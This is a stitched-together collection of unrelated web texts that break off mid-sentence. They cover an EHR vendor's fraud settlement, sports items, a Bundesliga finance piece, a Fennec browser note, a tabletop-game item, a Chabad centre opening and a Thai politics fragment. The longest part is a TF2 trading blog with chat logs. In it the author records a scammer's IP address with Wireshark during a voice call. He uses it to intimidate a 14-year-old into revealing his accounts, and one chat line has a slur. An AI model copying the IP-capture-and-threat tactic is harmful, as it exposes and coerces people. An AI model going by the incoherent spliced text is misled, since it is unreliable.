In a news release, the company denied any wrongdoing. It said the claims settled by the agreement "are allegations only and there has been no determination of liability." The company decided to settle only to avoid the cost and uncertainty of protracted litigation, it said.
"We are pleased to put this matter behind us and concentrate all of our efforts on our customers and continued innovations to enhance patient care delivery,” Chief Operating Officer Mahesh Navani said in the release.
The action against eClinicalWorks has its roots at Rikers Island jail in New York City, where in 2010 doctors, pharmacists and nurses started complaining that the software used by the women’s hospital was malfunctioning dangerously.
Patient records often overlapped on their computer screens, making it easy to mistake one patient’s diagnosis or drug for another’s. Medication lists were error prone. Patients left the jail without proper prescriptions or lab results. One patient’s HIV drugs weren’t listed on his medical report. Another’s tapering methadone dosage was inaccurate.
The complaints came to Brendan Delaney, who worked on implementing eClinicalWorks at Rikers, and later at more than 30 other hospitals and clinics in New York City and Massachusetts.
In a whistleblower lawsuit that he filed in May 2015 on behalf of the federal government, Delaney charged that the software “failed reliably” to document and display medications and laboratory tests, resulting in “serious patient safety issues.”
What’s more, he charged, corporate managers at eClinicalWorks were aware of the flaws but failed to fix them because fixes would require addressing problems in the company’s core software and all of its modules, and because admitting the defects “would put eCW at severe competitive disadvantage.”
The case marks the first time the government has held an electronic health records vendor accountable for major meaningful use shortcomings by applying federal anti-kickback laws, said Colette G. Matzzie, a whistleblower attorney and partner at Phillips & Cohen.
The settlement is the largest False Claims Act recovery in the District of Vermont and apparently the largest financial recovery in the state's history, said Eugenia Cowles, acting U.S. Attorney for the district. “This resolution demonstrates that EHR companies will not succeed in flouting the certification requirements.”
Privately held eClinicalWorks claims to be the leading cloud-based EHR, with 4,500 employees and more than 850,000 medical professionals — including 125,000 doctors and nurse practitioners — using its software. It claimed 2016 revenues of $440 million.
The government charged that eClinicalWorks falsely obtained certification for its software by concealing faults in compliance. For example, the company entered in its programs only the limited number of drug codes required for testing rather than programming the capability to retrieve any drug code from a complete database, according to the Justice Department.
The company's software also did not accurately record user actions in an audit log, and in certain situations did not reliably record diagnostic imaging orders or perform drug interaction checks, according to the release. As a result, users submitted false claims for incentive payments. These errors may also have posed safety risks for patients, the release said.
Under the settlement, the corporation and its founders — CEO Girish Navani, Chief Medical Officer Rajesh Dharampuriya and Chief Operating Officer Navani — are liable for the penalty. In addition, developer Jagan Vaithilingam will pay $50,000. Project managers Bryan Sequeira and Robert Lynes will each pay $15,000, the release said.
As part of the settlement, the company entered a five-year agreement with HHS’ inspector general requiring it to retain an independent overseer and provide regular reports on its compliance. The company must also provide free updates of its software, take steps to mitigate any safety-related risks and inform customers of the risks.
The agreement requires the company to let customers transfer their data to another EHR provider, free of charge. If many customers take that step, it could represent a devastating financial blow to eClinicalWorks.
The government’s complaint alleged that eClinicalWorks failed to adequately test its software or to fix bugs for “months or even years” after they were detected, while paying at least $392,000 to influential customers to recommend eClinicalWorks products to prospective customers.
In a news release from Phillips & Cohen, which represented his lawsuit, Delaney said New York City health officials ignored his reports about the software’s defects. He thanked federal attorneys who “recognized the seriousness of my charges and dug into the matter quickly and thoroughly.”
Some doctors said they hoped the suit would lead to more focus on safety in health IT.
“This unfortunate event highlights the need for a national health IT safety center with investigational capabilities,” said Hardeep Singh of the Houston VA’s Research Center of Innovation. “This also underscores the need for supporting ONC’s [October] Enhanced Oversight and Accountability of Health IT Certification Program."
Although eClinicalWorks has alerted users and repaired defects since the lawsuit was filed, some smaller providers may still be using unpatched versions, said Andrew Gettinger, director of ONC’s Office of Clinical Quality and Safety.
Over time, eClinicalWorks’ processes have improved, he said. Still, “the magnitude of this, and extent of the allegations are really substantial. In my mind they stand out dramatically from what we’ve known and come to expect from the health IT development industry.”
Darius Tahir and David Pittman contributed to this report.
This article tagged under: Justice Department
WhistleblowerApparently you can have your cake and eat it too. At least that's what the NCAA is saying to South Carolina.
The Gamecocks self-reported 22 potential minor NCAA infractions, one of which involved cookie cakes given to recruits visiting campus and what South Carolina believed to be impermissible icing on the cakes.
The NCAA reviewed the submission and decided there was no violation by the Gamecocks.
Lots of talk about cookie cake icing - NCAA talked with SEC & USC - all now agree it's not a concern & will not be processed as a violation - Emily James (@NCAAEmily) August 5, 2014
It's unclear what specifically about the icing the university felt was a violation, but the compliance department felt it necessary to submit to the NCAA.
The Gamecocks reported the incident as potentially violating NCAA bylaw 13.6.7.9, which states that an institution may not arrange miscellaneous, personalized recruiting aides including, but not limited to, personalized jerseys and personalized audio/video scoreboard presentations.
The rule also includes the use of "decorative items" and special additions to any location the prospective student-athlete will visit.
Cookie cakes have been popular among recruits visiting college campuses across the country. The prospects have tweeted out pictures of various cookie cakes and the sweets have become a favorite part of the visits, so this is a win for all sweet-toothed prospects in the future.Redskins cornerback Bashaud Breeland, left, breaks up a pass intended for Odell Beckham Jr. during Sunday’s third quarter. (Julio Cortez/Associated Press)
Rookie cornerback Bashaud Breeland this season has served as one of the bright spots on a beleaguered Washington Redskins defense. But on Sunday, the Clemson product found himself in the spotlight for the wrong reasons as he drew five flags – four of which were enforced – for a total of 70 yards.
Officials flagged Breeland for unnecessary roughness, two pass interference calls, taunting and defensive holding (the Giants declined that penalty).
Breeland didn’t make apologies for his transgressions following the game, insisting that he had given good effort while playing with aggression. And he disagreed with the taunting call because, in his opinion, Odell Beckham Jr. had done worse on the play.
It turns out, Breeland had a point on two of those plays. The Redskins submitted the plays in question to the NFL and defensive coordinator Jim Haslett said on Wednesday that the league office responded after reviewing the plays, saying that Breeland should not have received punishments for taunting, or for the second pass interference call.
Haslett said that he preaches to his players the importance of keeping their wits about them, and playing with strong technique so they don’t put themselves in bad positions. But he praised Breeland for his style of play, and added that he doesn’t want the cornerback to tone down his style of play.
“I’d rather have them be more aggressive than non-aggressive. … Obviously, we’ve got to get the calls correct, but I like the way the kid competes, like I’ve said before,” Haslett said. “And I would take that over the other way. But there’s a fine line because you don’t want to hurt the |
even folding. Furthermore, there are also subtle differences between how football is viewed within German society which is very different to how it is viewed in England. We’ll look at these in more detail in a later article. So the question is, does the 50+1 Rule add up?
How is it possible to pay players less, charge fans less, take less money in and yet still enjoy outstanding success on a football field at domestic and international level? Especially when the perceived wisdom in Spain, England, Italy and France seems to be that to win big, you have to spend big.
Doesn’t this seem paradoxical?
In truth, the fact of the matter is that the 50+1 rule introduces a healthy dose of realism into the Bundesliga. The league’s financial system isn’t built towards satisfying the whims of a wealthy owner, or lining the pockets of the players, but by offering fans a great deal to go and support their team.
In the Premier League, over 70% of the £2bn the league makes disappears in player wages, in the Bundesliga it is 51% of the €1.09bn.
In effect, the Premier League are paying five times (£1,5bn) as much in wages in real cash terms as clubs in the Bundesliga (around £300m).
In truth, the 50+1 system isn’t perfect; it is a very good general rule of thumb, but in actual fact, Germany’s prudence in football matters comes down more to realistic wage demands of their resident professionals, rather than any mystical or magical formula that Europe can follow.DISCLAIMER:
This old story only contains a part of the story and is written for educational and entertainment reasons only. It is important to note that scamming scammers, for example by offering them money for their stolen hats and then not paying it, is frowned upon by the trading community and NOT ACCEPTABLE.
Do NOT be a vigilante. Convincing a scammer to return his items
is acceptable
, as I have done in this case, but do not pull scams on scammers. I borderlined on breaking the Steamrep rules by accepting his hat.
Allowing vigilante stunts opens a whole new can of worms of people doing bad things with good intentions.
Some background information about TF2 trading
Approached by a scammer
He did not even ask me how much I am selling it for The value of the unusual in question was much lower
Day two - Justice
Never tell your password to anyone.
Dienstag, 10. April 2012
21:22 - ZakMcRofl: hey there 21:22 - ZakMcRofl: quick question 21:22 - Hunter: yes? 21:22 - ZakMcRofl: you used to have an unusual jumper cap 21:22 - Hunter: YES
21:22 - ZakMcRofl: what happened to it 21:22 - Hunter: oh my god
21:22 - Hunter: it got scammed
21:22 - Hunter: do you have it???
21:22 - ZakMcRofl: i thought so 21:22 - ZakMcRofl: no 21:23 - Hunter: aww :(
21:23 - ZakMcRofl: i am talking to the guy who has it 21:23 - Hunter: DOOD
21:23 - ZakMcRofl: mr shnipz 21:23 - Hunter: omg please
21:23 - ZakMcRofl: i believe he is a scammer 21:23 - Hunter: i would do anything
21:23 - Hunter: if u could get it back
21:24 - ZakMcRofl: let me try 21:24 - Hunter: ok
21:24 - ZakMcRofl: i can give you the profile link 21:24 - ZakMcRofl: but do not add him 21:24 - ZakMcRofl: now 21:24 - ZakMcRofl: it will scare him off 21:24 - Hunter: ok thanks\ u soooo much, i wont
21:24 - Hunter: i was lookin so hard
21:24 - ZakMcRofl: http://steamcommunity.com/profiles/76561198061280822/ 21:24 - Hunter: i love you
21:24 - ZakMcRofl: valve might be able to help you 21:24 - ZakMcRofl: explain what happened 21:24 - ZakMcRofl: they can look into the trade history 21:24 - ZakMcRofl: least they will do is restore the item 21:24 - Hunter: yup it was a lvl 77 jeecap w orb fire
21:25 - Hunter: thats it
21:25 - ZakMcRofl: it is the same hat 21:25 - Hunter: ya
21:25 - Hunter: exact same
21:25 - ZakMcRofl: http://www.tf2items.com/item/786758567 21:25 - ZakMcRofl: history 21:25 - ZakMcRofl: how did he scam you? 21:25 - Hunter: he hacked a trusted middleman
21:25 - ZakMcRofl: 1sec 21:25 - Hunter: atom, he had a good rep, only later did i read he was being impersinated
21:26 - ZakMcRofl: i think i understand their scheme better now 21:26 - ZakMcRofl: i just need to get them to admit to it 21:26 - Hunter: ya
21:26 - Hunter: ok
21:26 - Hunter: who r u?
21:26 - ZakMcRofl: i will voice chat you 21:26 - Hunter: like steam batman?
21:26 - ZakMcRofl: just another potential victim 21:26 - Hunter: cool
21:38 - ZakMcRofl: V = victom, A= scammer A, B=Scammer B 21:39 - ZakMcRofl: A approaches V telling him that he would pay 100 for something worth 10 21:39 - Hunter: yup
21:39 - ZakMcRofl: B conveniently offers the item for 50 21:39 - ZakMcRofl: V buys from B, hoping for quick profit 21:39 - Hunter: yup
21:39 - ZakMcRofl: A is suddenly not interested in it anymore 21:40 - ZakMcRofl: thats what he was pulling with me i think
22:23 - Mr.Shnipz: hey
22:23 - ZakMcRofl: hi 22:23 - Mr.Shnipz: you talk to him?
22:23 - ZakMcRofl: not yet, no 22:24 - Mr.Shnipz: k he add you?
22:24 - ZakMcRofl: he is offline, so no 22:24 - Mr.Shnipz: ok
22:24 - Mr.Shnipz: yea if you get get it that be great :)
22:25 - ZakMcRofl: cool unusuals, where did you get em from? 22:25 - ZakMcRofl: unbox? 22:27 - Mr.Shnipz: nah...i bought them when i first heard about unusual hats...and i got like 500 dollars for my birthday so ya :D
22:27 - Mr.Shnipz: its good investment :P
22:27 - Mr.Shnipz: you unbox yours?
22:30 - ZakMcRofl: how can you play tf2 and not hear about unusuals :) 22:30 - ZakMcRofl: its the world's biggest hat simulator after all 22:31 - Mr.Shnipz: well at first i played the game reg. with the defaut games like 2fort...then i got onto a server and i saw one...and i was like wtf!
22:31 - Mr.Shnipz: lol
22:31 - Mr.Shnipz: so ever since :)
22:31 - ZakMcRofl: and you paid 500 bucks for it? 22:31 - ZakMcRofl: thats insane 22:32 - Mr.Shnipz: no liek 100 for the jeep and like 180 for marauder...spent rest on soccer cleats :P
22:32 - Mr.Shnipz: but anyways...you postitive youll get the hat cuz im about to buy 2 white paints
22:32 - Mr.Shnipz: but anyways...you postitive youll get the hat cuz im about to buy 2 white paints
22:32 - ZakMcRofl: i am not positive, no 22:32 - ZakMcRofl: its hard to get stuff like that 22:32 - Mr.Shnipz: o
22:33 - ZakMcRofl: anger is a popular hat 22:33 - ZakMcRofl: the guy is looking for 6 buds 22:33 - Mr.Shnipz: yes but its 4.5
22:33 - ZakMcRofl: what did he say he was looking for? 22:34 - Mr.Shnipz: idk but he told me he doesnt like my marauder
22:34 - Mr.Shnipz: im sure one of your hats is worth what he wants :)
22:37 - ZakMcRofl: so do you want exactly this anger 22:37 - ZakMcRofl: or any anger? 22:39 - Mr.Shnipz: any..i would like an orbit fire one or g energy
22:39 - ZakMcRofl: and you would 2:1? 22:39 - Mr.Shnipz: yes
22:39 - ZakMcRofl: that guy has smoking 22:39 - Mr.Shnipz: ok get it...
22:39 - Mr.Shnipz: you can get it now?
22:39 - ZakMcRofl: trying to 22:40 - Mr.Shnipz: kk
22:40 - ZakMcRofl: steaming, not smoking 22:40 - Mr.Shnipz: how much it worth?
22:40 - Mr.Shnipz: o yes steamign is great
22:40 - Mr.Shnipz: get it....lol
22:44 - Mr.Shnipz: u get it?
22:44 - ZakMcRofl: not yet 22:44 - ZakMcRofl: relax 22:45 - Mr.Shnipz: lol ok
22:45 - Mr.Shnipz: you talkign to him :)?
22:47 - ZakMcRofl: yo 22:48 - Mr.Shnipz: yes?
22:48 - Mr.Shnipz: lol
22:50 - Mr.Shnipz: im just asking because i need to get the white paint for my boots and the hat, unloess you can find out if it already has white paint on it.. thanks for your help :)
22:51 - ZakMcRofl: its not painted afaik 22:51 - Mr.Shnipz: afaik? and ok
22:53 - ZakMcRofl: as far as i know 22:55 - Mr.Shnipz: kk.. you postive you going to get it?
Mr.Shnipz is now playing Team Fortress 2. Click here to join.
23:01 - Mr.Shnipz: how you doing on it?
23:04 - Mr.Shnipz: you there?
23:06 - ZakMcRofl: yo sorry 23:06 - ZakMcRofl: he's hard to deal with 23:06 - Mr.Shnipz: ask him if yed take my stuff
23:07 - Mr.Shnipz: who is it?
23:07 - ZakMcRofl: that Spock guy 23:07 - Mr.Shnipz: o ask him if hed take your hat and my jeep cap...
23:07 - Mr.Shnipz: and ill give you y marauder
23:08 - ZakMcRofl: i offered my crown and he said no 23:08 - ZakMcRofl: he said he would do it for the jeepcap and my crown 23:08 - Mr.Shnipz: offer something else dude..im givign you profit
23:08 - Mr.Shnipz: ok do it and ill give you the marauder
23:09 - ZakMcRofl: 23:09 - ZakMcRofl: OH MY GOD 23:09 - ZakMcRofl: he traded me the jeepcap 23:09 - ZakMcRofl: for NOTHIGN 23:10 - ZakMcRofl: you there? Hunter is now Away.
23:15 - ZakMcRofl: DUDE 23:15 - ZakMcRofl: GO ONLINE Hunter is now Online.
23:15 - Hunter: why
23:15 - Hunter: wuts up?
23:15 - ZakMcRofl: http://steamcommunity.com/id/zakmcrofl/inventory#440_2_791491348 (picture of the stolen hat with ownership info) 23:15 - ZakMcRofl: OWNED BY 23:15 - ZakMcRofl: ZAKMCROFL 23:15 - ZakMcRofl: i got your hat 23:15 - Hunter: dood thank SOOOOOO much
23:15 - ZakMcRofl: haha that guy is such a tool 23:15 - Hunter: i love you
23:15 - Hunter: i LLLLOOOOOVVVEEE YYOUI
23:16 - Hunter: im so happy...words cant express
23:16 - ZakMcRofl: haha 23:16 - Hunter: how?
23:16 - ZakMcRofl: this story is so fucking epic 23:16 - ZakMcRofl: this is going on reddit.com 23:16 - Hunter: omg i bet
23:16 - ZakMcRofl: i am writing it all down 23:16 - ZakMcRofl: that guy is such a moron 23:16 - Hunter: you are....steam batman
23:16 - ZakMcRofl: i guess i am lol
Epilogue
23:57 - ZakMcRofl: wow you even suck at faking screenshots 23:57 - Mr.Shnipz: but i dont understand how to do it i just copyed and pasted it ff the site
23:57 - ZakMcRofl: Delivery to the following recipient failed permanently: Skychief12@yahoo.com 23:58 - Mr.Shnipz: yes thats his email
23:58 - ZakMcRofl: yeah, it doesn't exist [...] 00:02 - ZakMcRofl: you can get it back if you provide proof 00:02 - ZakMcRofl: a crappy screenshot and some faked text is not proof 00:03 - Mr.Shnipz: your a bully faget
00:03 - Mr.Shnipz: thanks for beign a bully
00:03 - ZakMcRofl: i am not scamming people 00:03 - ZakMcRofl: you are 00:03 - Mr.Shnipz: you scammer
00:03 - Mr.Shnipz: i thought we were friend sand nwo you scammed me
00:03 - Mr.Shnipz: thanks a lot and imk contacting steam support
Mr.Shnipz left chat.
Never tell your password to anyone.
Mittwoch, 11. April 2012
00:04 - ZakMcRofl: ok this is going straight on reddit 00:04 - ZakMcRofl: and to valve 00:05 - ZakMcRofl: i got your entire little scam circus on tape 00:05 - Mr.Shnipz: lol idc.....you scammer
00:05 - ZakMcRofl: you, your fake middleman 00:05 - ZakMcRofl: you want steam ids? 00:05 - ZakMcRofl: http://steamcommunity.com/profiles/76561198059470884 00:06 - ZakMcRofl: http://steamcommunity.com/profiles/76561198045981486 00:06 - ZakMcRofl: http://steamcommunity.com/profiles/76561198059470884 00:06 - Mr.Shnipz: lol yep and yepo...i SCAMM PEOPLE....IVE SCAMMED SO MANY THINGS FROM PEOPLE YOU DONT EVEN RELIZE>>>IM THE ONE WHO FUCKS EVERYONE UP...AND U MAKE IT STOP!!!lolIM NOT STOPPING...ITS ONLY THE BEGINNING!! :)
00:07 - Mr.Shnipz: HAHAHAHHAHAHAHHAHAHAHAHHAHAHAHA
00:07 - ZakMcRofl: you realize valve will delete your account and all your game in it 00:07 - ZakMcRofl: and your friends 00:07 - ZakMcRofl: and your real account 00:07 - ZakMcRofl: once this goes to reddit.com 00:07 - Mr.Shnipz: LOL LOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL
00:07 - ZakMcRofl: i can't believe you fell for a reverse scam. scamming a scammer. that is GOLD 00:07 - ZakMcRofl: so greedy 00:08 - Mr.Shnipz: LOL IT WAS A FREE HAT IDC
00:08 - Mr.Shnipz: LOL
00:08 - Mr.Shnipz: YOU REALLY THINK I FUCKING CARE
00:08 - ZakMcRofl: it is illegal, fraud, if you get caught you could face jailtime. stealing a 100$ item is not a petty crime 00:08 - ZakMcRofl: i hope you realize that 00:09 - Mr.Shnipz: lol
00:14 - Mr.Shnipz:?
Mr.Shnipz has ended the call.
00:15 - Mr.Shnipz: look dude im srry ok i will never scam again...i promise
00:15 - ZakMcRofl: you are not anonymous on steam 00:16 - ZakMcRofl: your ip has been recorded 00:16 - Mr.Shnipz: ill give you my unusuals...im dont with the game
00:16 - Hunter: wow
00:16 - Hunter: we should return the maurauder to its owner to
00:17 - ZakMcRofl: yeah 00:17 - Hunter: can i haz my hat back tho?
00:17 - ZakMcRofl: ok course :)
00:18 - Hunter: k thanks
Hunter has accepted your request to trade.
00:18 - ZakMcRofl: you're welcome
00:18 - Hunter: u dont know what this meen 4 me man
00:18 - Hunter: thanks so much
00:19 - Hunter: im gunna name my child after you
00:19 - Hunter: ZacMcRofl <HuntersFamilyName>
00:19 - Hunter: the 3rd
00:25 - ZakMcRofl: still in chat with him
00:25 - ZakMcRofl: i got his IP adress 00:26 - ZakMcRofl: he got caught with his pants WAY down 00:27 - Hunter: lol
00:27 - ZakMcRofl: do you plan to prosecute him? 00:27 - ZakMcRofl: its fraud / theft after all 00:27 - Hunter: im on a phone caLL WITH MY buddy, add him, your his hero
00:27 - ZakMcRofl: i can't let him off the hook, that is up to you 00:27 - ZakMcRofl: tell him to add me 00:28 - Hunter: i honestly dont care, i got my hat back and i got taught a valuable lesson
00:28 - ZakMcRofl: you mean HE got taught it 00:28 - Hunter: but i also dont want this scammer loose
00:29 - Hunter: ya,, but i also learned 2 be more carful
Never tell your password to anyone.
Mittwoch, 11. April 2012
00:29 - vis: hey
00:29 - vis: so im srry again
00:30 - ZakMcRofl: make your backpack public 00:30 - vis: ok
00:30 - vis: k
00:30 - vis: you can look nothing in there
00:30 - vis: just sticky jumper
00:31 - ZakMcRofl: what other accounts are involved 00:31 - ZakMcRofl: (do NOT lie) 00:31 - ZakMcRofl: i got a list 00:31 - vis: what you mean...my other accounts
00:31 - vis:?
00:31 - ZakMcRofl: all steam accounts that were involved 00:31 - ZakMcRofl: profile urls 00:32 - vis: nsane321
00:32 - ZakMcRofl: profile urls 00:32 - ZakMcRofl: like this one 00:32 - ZakMcRofl: http://steamcommunity.com/profiles/76561198045981486/ 00:32 - vis: http://steamcommunity.com/profiles/76561198059470884
00:33 - vis: thats th eaccoutn i used to buy the hat from dresno just so you know
00:33 - ZakMcRofl: ok, what else 00:33 - ZakMcRofl: what other profiles 00:33 - vis: like my other ones?
00:34 - ZakMcRofl: yes 00:34 - vis: http://steamcommunity.com/profiles/76561198043908434
00:34 - vis: http://steamcommunity.com/profiles/76561198047533968
00:35 - ZakMcRofl: and do NOT bullshit me 00:35 - vis: http://steamcommunity.com/profiles/76561198007564932
00:35 - vis: im NOT
00:36 - ZakMcRofl: what about the rest? 00:36 - vis: http://steamcommunity.com/profiles/76561198061089758
00:36 - vis: those and mine currently right now
00:37 - ZakMcRofl: make the bp public on the last one 00:37 - vis: i swere those are it...i want to go clean and not do this anymore...i love the game and i respect you....i wouldnt ever do it again....i can sign a contract with you
This is quite a long story and I created this blog just to tell it. Rest assured it is epic and you will not regret reading this wall of text. You will learn about the dark side of TF2 trading, how to protect yourself against it and finally, how to scam a scammer!The game Team Fortress 2 has a virtual item economy. It allows trading of such items via a safe Steam Trading mechanism. Traders like myself use this system to get items they prefer in exchange of items they like less or that are worth less.The most sought after items are Unusual Hats which offer special particle effects like flames over your head.Since they can only be unboxed with a chance of 1% using keys that cost $2.50 each, they can be quite valuable.This leads to the deside to sell or buy these hats for real world money. The catch is that Steam Trading does not allow for monetary transactions so that such a trade is insecure by nature. Either the buyer or the seller has to "go first" by giving out the money or the item without knowing if the seller / buyer will keep their side of the bargain. This risk is somewhat reducable by using an independent, trusted "middleman". The seller gives his item to the middleman, the buyer can verify it is there and transfers the money. After receipt, the seller confirms payment receipt to the middleman who gives the item to the buyer. Aside from possible Paypal chargebacks, this process is relatively safe (using other payment methods).I will explain how people exploit this process and try to scam others in the process.After years of trading, I have many valuable items and unusual hats in my backpack. So there I was on an unsual hat trade server, checking out other nice hats people are showing off and trying to sell. Suddenly I get a trade request from a guy on the server, let's call him. Skychief's first question is "Can I buy the Unusual you are wearing for $120?". This is very odd for two reasons.This behavior is actually on purpose, the point is to invoke greed in the victim. Sure I want to sell my $30 hat for $120. However for an experienced trader, these points are obvious red flags.Anyways, I decided to play along because I was curious what he was going to try on me and of course he might still just be a moron looking to spend $120 on a virtual item he loves.So I ask him some basic questions, like do you know how this works ("No, first time") and if he is familiar with the middleman method. Conveniently, he already has a middleman available. This was another red flag, either people have traded unusuals before, then they know and select a middleman, or they haven't and they will take a long time understanding the concept, even longer to find a middleman.So he sends me this Steam profile link to his middleman:Following the sourceop link we find the profile of the real (albeit not widely known) middleman:A couple more red flags: the name history on the fake profile shows many other names, especially of other middlemen. Also real middlemen are usually old school TF2 players and therefore have old steam accounts as well as. And short playtime as our fake profile has, is a good indicator of a fake (usually it is even less).So anyways, I again decide to play along at first and tell Skychief that I will add the middleman. Suddenly Skychief seems to get cold feet and tells me that the middleman might be untrustworthy. This very confusing and rare, I assume he googled my nickname and found some of my sourceop scammer reports. Worried that he might find another target, I add a guy who was on the server with us and is also on Skychiefs friendslist, his name is. I ask him if he was approached by Skychief and tell him to watch out since Skychief seems to be a scammer. Now it gets weird. He gets all defensive, says that Skychief seems to be an innocent and nice guy. When I tell him that I will monitor Skychief for a while, he says its probably not necessary and that he will keep an eye on him for me. Very fishy and I go to bed with the lingering feeling that they are connected. But I keep both Skychief and Mr. Shnipz on my friendslist in order to keep an eye on their activities in the next days.The next day Mr.Shnipz starts chatting with me again and tells me that he needs my help to trade his two unusuals 2:1 for a certain hat (unusual steaming anger) held by another guy that is worth way less than his two. I check out his backpack and sure enough he has two unusuals that I didn't notice the day before: http://www.tf2items.com/item/786758567 (Orb fire Jeepcap) http://www.tf2items.com/item/779968197 (Stormy Marauder)I decide to talk to the previous owner or the Jeepcap, Hunter:If you prefer to read the rest of the story as a chat transcript, I have uploaded it here: http://pastebin.com/JJRQQY4J So I explain to him that I think that Mr. Shnipz is trying to do the TF2 equivalent of the " Fiddle Game " con on me:Mr. Shnipz has gone offline by now so I spend some time with Hunter reconstructing how he got scammed. He still has the scammer who approached him on his friends list and it turns out the fake middleman was the same one that was used when I was approached, only under the name "Atom-3000+hours of TF2" (trusted middleman). By the way, if you ever need to trace back who you traded with, go to View -> Inventory and click "View Inventory History" in the upper right. Anyways, I promise Hunter to try to build a case against those scammers and ask him not to scare them off in the meantime. I try to contact the other unusual's previous owner with no success.Finally, Mr. Shnipz returns. Since we still cannot be sure that he is part of the scam and didn't just buy the hat from the scammer, I try to lure him into lying:Ah, he is getting pushy again. Time to test my theory so I add the owner of hat he wants so desperately, let's call him Spock. Carefully I try to figure out if I was right about my suspicions and if Spock is trying to get some of my fine unusuals from me. Since he is asking a low price and seems like a nice guy, I explain the situation to him and keep him friended.An idea forms in my head and I switch to Mr Shnipz's chat again:By the way, this confirmed that they are not working together.Now it gets tense! He opens a trade with me and places Hunter's Orbiting Fire Jeepcap into the trade. Apparently he wants to to give it to me, assuming that I would use it to get the hat from Spock.Needless to say I accept with a pounding heart...... OMG I have the hat!Of course I have to tell Hunter about the new development right away:I promise him to give the hat back later and keep it in my backpack in order to not scare off Mr. Shnipz. Having the upper hand now, I am trying to get him to admit to his lies.I think that the rest of the story is most amusing in transcript form (scroll to 23:11 in http://pastebin.com/JJRQQY4J ) but I will some it up here.First, I get him to admit that his birthday is in january. Since the item history shows that he got the hat in April, me must have been lying about it being a birthday gift.I give him a huge benefit of the doubt and let him try to prove that he purchased it.He posts a hillarious fake Paypal statement: http://i.imgur.com/ieLLE.png (I edited the email address)and cannot resist to call him out on it:Damn, that seems to be the end of it. But wait, he is still in my friendslist!Note that I only invoke reddit as my personal army at this point because I want to get him to return the remaining unusuals. Public shame seems like the best option, but then I get a better idea. Steam chat is P2P, you can easily notice by the huge lag the chat sometimes has. So I open up wireshark, record all outgoing IP traffic and click on the "Start Voice chat" button. He accepts.I tell him on the call that by accepting it, he allowed me to record his home IP address (via wireshark). This apparently has the intended effect:Now that we have admission of guilt, I talk to hunter to give him his hat backMeanwhile Mr. Shnipz is scared shitless and I force him to list all of his steam profiles. Turns out the fake middleman is also him, so I get him to switch to that account and make the backpack public. I am fishing for more intel on potential accomplices but he's either very loyal or there really weren't any. Finally he admits that he is just 14 years old and has scammed "only" 3 unusual hats which are not in his posession anymore. He seems to be pretty shaken:Well I won't make him sign a contract but instead tell him that I would publish this story. And that he should duck and cover for a shitstorm of angry reddit nerds coming his way.In a way I feel sorry for the kid, he is only 14, did some really stupid shit and is genuinely scared that the police might come knocking at his door. So I tell him to return all unusuals, if he still has any, to their rightful owners. And that I will release his IP if one of his victims gets in touch with me.Finally I tell him to leave all the accounts I mentioned behind, to prevent the shitstorm.So that's it, my first blog entry. Will it be the last? I felt that this story should be shared for the good of the community. I love this game and I f*cking hate scammers.Finally I ask you, my reader, to please NOT hassle him, if you should find him. He is very scared and remorseful and will certainly not do it again.Some of the feedback we received from Fennec Alpha 1 (and we have received a lot, thank you!) has been about the download and “on disk” size. Fennec is based on XULRunner, Mozilla’s runtime platform. Therefore, when you install Fennec, you’re installing the XULRunner dependency too. Fennec is ~ 1MB in footprint size, while XULRunner is ~ 25MB.
Yes, Fennec’s overall size is a bit big for a mobile browser. But it is a full blown browser, with all the web support of a desktop browser. It also supports the same add-on system as desktop Mozilla applications, like Firefox, Thunderbird and Songbird.
There’s another benefit of having XULRunner installed on the device: Any other XUL-based application can use the XULRunner runtime, without needing to install anything extra. Applications like Chatzilla, XULMine, XULExplorer and Prism could be installed and launched using the shared XULRunner. Keep in mind, Fennec thinks it “owns” that XULRunner and will update it when it needs too.
So, if you installed Fennec A1 and want to create your own XUL-based apps on a mobile device, you have an up-to-date runtime to build on. Here’s a simple way to get started with XULRunner (on mobile too).Slot none; Aura strong transmutation; CL 20th; Weight 12 lbs.
DESCRIPTION
This +5 flaming wounding unholy ranseur was once the weapon of a powerful archdevil who they say controlled an entire layer of Hell. When he attempted to defy the Prince of Darkness, he was overthrown and banished into some cold and remote prison at the edge of the multiverse. Still bearing some infernal vestige of the forgotten fiend’s power, the fork grants the bearer a +10 bonus on Diplomacy and Intimidate checks and the power to use scorching ray three times per day.
Any nonevil creature who touches the Fork of the Forgotten One is given a choice: become Lawful evil immediately, or die. Those who choose death are instantly slain (Fortitude DC 30 negates). Those who choose to become Lawful evil change alignment immediately (no saving throw) and are subject to a demand spell (Will DC 25) requiring that they find the Forgotten One and free him from his icy prison—presumably thereafter he will press them into service for his plans of revenge against those who imprisoned him.
DESTRUCTION
The Fork of the Forgotten One is destroyed when a paladin of 19th level or higher touches it and chooses death rather than becoming Lawful evil. This sacrifice still kills the paladin, though she can be raised from the dead.Chabad of Rechavia has just opened a new center in one of the hottest locations in Jerusalem, making sure it will always be easy to find.
The Chabad-Lubavitch Chassidic movement is making sure that Jews who pass through Israel's capital will never have to hunt to find one of its famed Chabad Houses, just in time for the beginning of the Jewish New Year.
Chabad is known throughout the world for its assistance and outreach to Jews, regardless of level of observance or lack thereof.
Amid great fanfare, Chabad of Rechavia opened its new center on Sunday on the ground floor of the “Windmill of Rechavia” building. "It's 'Judaism with a smile,'" grinned Chabad-Lubavitch emissary and director of the center, Rabbi Yisroel Goldberg.
The location couldn't be more prime – located next door to the Prima Kings Hotel, it is barely a stone's throw from the official residence of Prime Minister Binyamin Netanyahu, and around the corner from the Great Jerusalem Synagogue.
The center's new Torah, donated by Dr. Zev Cohen of New York, was first dedicated at 13 Arlozorov Street and then made its way to the new center at 8 Ramban Street, accompanied by a procession of joyous marchers.
Participants circled with the Torah to celebrate its installation in the new center, conveniently located next to one of the hottest kosher mehadrin restaurants in town.
Slated to serve the neighborhoods of Rechavia, Nachlaot, Sha'arei Chesed and Kiryat Shmuel, the new Chabad center offers Shabbat services, classes and lectures, as well as other programs.BANGKOK (Reuters) - A Thai Court accepted a new case against Prime Minister Yingluck Shinawatra on Wednesday over her removal of the security chief three years ago, compounding her legal problems after months of sometimes violent anti-government protests.
Thailand's Finance Ministry officers stand behind the ministry's gate while anti-government protesters rally outside in central Bangkok April 2 |
